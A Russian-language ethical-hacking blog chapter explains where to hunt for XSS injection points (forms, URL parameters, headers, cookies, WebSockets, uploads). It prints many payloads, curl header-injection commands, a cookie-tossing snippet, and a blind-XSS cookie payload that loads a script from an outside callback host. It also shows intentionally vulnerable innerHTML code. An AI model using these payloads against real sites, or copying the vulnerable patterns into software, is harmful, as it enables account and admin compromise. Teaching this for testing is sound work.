Хакер | Этичный хакинг с Михаилом Тарасовым

Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Где искать: формы, параметры URL, headers, cookies

Mikhail Tarasov·1 Jan at 6:16 pm

Охота на XSS - это не случайное тыканье payload'ов во все дыры подряд. Это методичный, системный подход к картированию поверхности атаки. Каждое веб-приложение - это экосистема точек входа, где пользовательские данные принимаются, обрабатываются и отображаются. Твоя задача - найти все эти точки и проверить каждую. Давай разберёмся, где копать и как не пропустить самые сочные уязвимости.

Формы - очевидная, но золотая жила

HTML-формы - это первое место, куда смотрит любой охотник за XSS. И не зря. Формы созданы для приёма пользовательского ввода, а значит, там, где есть ввод без должной фильтрации, есть и XSS.

Типы форм и их уязвимости

Поисковые формы (Search):
 Классика жанра. Пользователь вводит запрос, сайт показывает "Результаты по запросу: [запрос]".

<form action="/search" method="GET"> <input name="q" type="text"> <button>Поиск</button> </form>

Если сайт просто вставляет значение q в HTML без экранирования - ты в деле. Попробуй базовые payload'ы как упоминалось ранее с <script>alert(1)</script> или обработчиками событий .

Комментарии и отзывы:
 Stored XSS рай. Твой payload сохраняется в базе и показывается всем посетителям.

<form action="/comment" method="POST"> <textarea name="comment"></textarea> <input name="author" type="text"> <;button>Отправить</button> </form>

Тестируй все поля: и comment, и author. Часто разработчики фильтруют большие поля, но забывают про короткие типа "имя" или "заголовок".

Формы обратной связи (Contact forms):
 Blind XSS территория. Твой payload увидит саппорт или админ в своей панели .

<form action="/contact" method="POST"> <input name="name" type="text"> <input name="email" type="email"> <textarea name="message">&lt;/textarea> <button>Отправить</button> </form>

Здесь важно использовать callback-payload'ы с XSSHunter или собственным сервером для отслеживания срабатывания.

Профили и настройки:
 Поля профиля (имя, фамилия, bio, статус, аватар URL) часто отображаются публично или в админке.

<input name="display_name" value="[CURRENT_VALUE]">

Если твоё имя показывается другим пользователям без фильтрации - это stored XSS.

Скрытые поля (Hidden inputs)

Не игнорируй их. Скрытые поля тоже могут быть уязвимы, особенно если их значения отображаются в другом месте (логи, админка, email-уведомления).

<input type="hidden" name="redirect_url" value="/dashboard">

Перехвати запрос через Burp Suite, измени значение на javascript:alert(1) - может выстрелить при редиректе.

Чеклист для тестирования форм

  1. Найди все формы на сайте (используй DevTools или spider в Burp)
  2. Тестируй каждое поле отдельно с базовыми payload'ами
  3. Проверь разные типы полей: text, textarea, email, url, tel, number
  4. Не забывай про скрытые поля и атрибуты типа placeholder, title
  5. Тестируй разные методы: GET и POST ведут себя по-разному
  6. Проверь, где отображаются данные: на той же странице, на другой, в email, в админке

URL-параметры - живая классика

GET-параметры в URL - второе по популярности место для XSS после форм. Это reflected XSS территория.

Query parameters (GET)

https://site.com/page?param=value

Любой параметр, который отражается на странице - потенциальная уязвимость.

Типичные кандидаты:

  • ?q= - поисковые запросы
  • ?id= - идентификаторы, которые могут отображаться
  • ?msg= - сообщения об ошибках/успехе
  • ?redirect=, ?return_url= - URL для редиректа
  • ?lang=, ?locale= - иногда отображаются в UI
  • ?debug=, ?error= - режимы отладки часто выводят данные

Техника тестирования:

  1. Открой страницу с параметром
  2. Вставь уникальный маркер: ?q=TESTXSS123
  3. Посмотри исходный код (Ctrl+U) и найди, где появился маркер
  4. Определи контекст (HTML, атрибут, JS) как мы разбирали ранее
  5. Подбери соответствующий payload

Массовое тестирование через Burp Intruder:

Создай список параметров:

q search query id name msg message error debug redirect url

Burp автоматом подставит их в URL и покажет, где что отражается.

Path parameters и fragment

Не только query-параметры уязвимы:

https://site.com/user/[USERNAME] https://site.com/category/[CATEGORY_NAME] https://site.com/page#[FRAGMENT]

Если [USERNAME] берётся из URL и вставляется в <h1>Профиль пользователя [USERNAME]</h1> без фильтрации - XSS готов.

Fragment (hash) особенно интересен для DOM-based XSS, так как он обрабатывается только на клиенте через JavaScript:

// Уязвимый код document.getElementById('welcome').innerHTML = location.hash.substr(1);

Payload:

https://site.com/page#<img src=x onerror=alert(1)>

HTTP Headers - скрытая угроза

Headers часто забывают проверять, но они могут быть столь же уязвимы.

User-Agent

Многие сайты логируют User-Agent и отображают его в:

  • Панелях аналитики
  • Логах доступа с веб-интерфейсом
  • Страницах "Активные сессии"
  • Email-уведомлениях о входе

Тестирование через curl:

curl -A '<script>alert("XSS")</script>' https://target.com/

Если это stored - зайди в админку/профиль и проверь, отображается ли твой User-Agent.

Referer

Страница, с которой пришёл пользователь. Может отображаться в статистике, логах, системах аналитики.

curl -H "Referer: javascript:alert(1)" https://target.com/

Custom Headers

Некоторые приложения используют кастомные заголовки:

  • X-Forwarded-For - для определения IP (может отображаться)
  • X-Original-URL - для внутренней маршрутизации
  • X-Custom-Data - любые самописные заголовки

Перехват и модификация через Burp:

  1. Захвати запрос в Burp Proxy
  2. Добавь/измени заголовок:

X-Forwarded-For: <svg/onload=alert(1)>

  1. Отправь запрос
  2. Проверь response и другие страницы, где может отобразиться

Accept-Language

Редко, но бывает:

curl -H "Accept-Language: <script>alert(1)</script>" https://target.com/

Если сайт показывает "Ваш язык: [язык]" - может сработать.

Cookies - сладкая находка

Cookies могут быть как источником данных для XSS, так и целью атаки.

Cookie-based XSS

Если приложение читает cookie и вставляет значение в страницу:

// Уязвимый код document.write("Welcome back, " + document.cookie.match(/username=([^;]*)/)[1]);

Эксплуатация:

  1. Установи вредоносный cookie через JavaScript (если можешь выполнить код) или через другую уязвимость (CRLF injection)
  2. Или используй subdomain для установки cookie (если у атакующего есть контроль над поддоменом)

document.cookie = "username=<img src=x onerror=alert(1)&gt;";

Cookie Tossing Attack

Если у тебя есть контроль над поддоменом (например, attacker.target.com), ты можешь установить cookie для основного домена:

// На attacker.target.com document.cookie = "param=<script>alert(1)</script>; domain=.target.com";

Теперь этот cookie будет отправляться на www.target.com, и если там его значение выводится — XSS.

Cookie как вектор для Blind XSS

Некоторые приложения логируют cookies в админ-панели для отладки или аналитики.

Payload в cookie:

curl -b "session=normal_value; debug=<script src='https://xss.ht/your_id'></script>" https://target.com/

Если админ откроет логи - твой скрипт выполнится в его браузере.

Другие места поиска

JSON и API endpoints

Современные приложения используют API. Проверяй JSON-ответы:

{ "message": "Hello, [USER_INPUT]" }

Если этот JSON потом вставляется в DOM через innerHTML — XSS готов.

WebSocket messages

Если приложение использует WebSockets, сообщения могут быть уязвимы:

// Клиентский код ws.onmessage = function(event) { document.getElementById('chat').innerHTML += event.data; };

Отправь через WebSocket: <img src=x onerror=alert(1)>

File uploads (filename, metadata)

Загружаемые файлы могут содержать XSS в:

  • Имени файла (отображается при скачивании/просмотре)
  • EXIF/метаданных (если отображаются)
  • Содержимом (SVG, HTML файлы)

# Загрузи файл с именем "><svg/onload=alert(1)>.jpg

Error messages

Кастомные страницы ошибок часто отображают параметры запроса

404: Page "/[REQUESTED_PATH]" not found

Payload:

https://target.com/<script>alert(1)</script>

Методология полного картирования

  1. Spider/Crawl - пройдись по всему сайту (Burp Spider, OWASP ZAP)
  2. Составь список точек входа - все формы, параметры, headers
  3. Категоризируй - reflected, stored, DOM-based кандидаты
  4. Приоритизируй - начни с высокорисковых (stored, admin-панели)
  5. Автоматизируй - используй сканеры, но не полагайся только на них
  6. Мануальное тестирование - проверь сложные кейсы вручную
  7. Документируй - веди таблицу с результатами

Инструменты автоматизации

  • Burp Suite Scanner - автоматическое обнаружение XSS
  • OWASP ZAP - бесплатная альтернатива
  • XSStrike - Python-инструмент для XSS
  • Dalfox - быстрый Go-based сканер
  • Custom scripts - пиши свои под специфику цели

Заключение

Поиск XSS - это не угадывание, а систематический процесс картирования всех возможных точек входа данных. Формы, URL-параметры, headers, cookies - каждый из этих векторов требует своего подхода и понимания того, как данные проходят через приложение. Не ограничивайся очевидными местами - копай глубже, проверяй edge cases, думай как разработчик и ищи то, что он мог забыть проверить. В следующем разделе мы научимся использовать fuzzing и автоматизацию для масштабирования охоты. Готовь payload-листы!

28 views·3 shares
28 views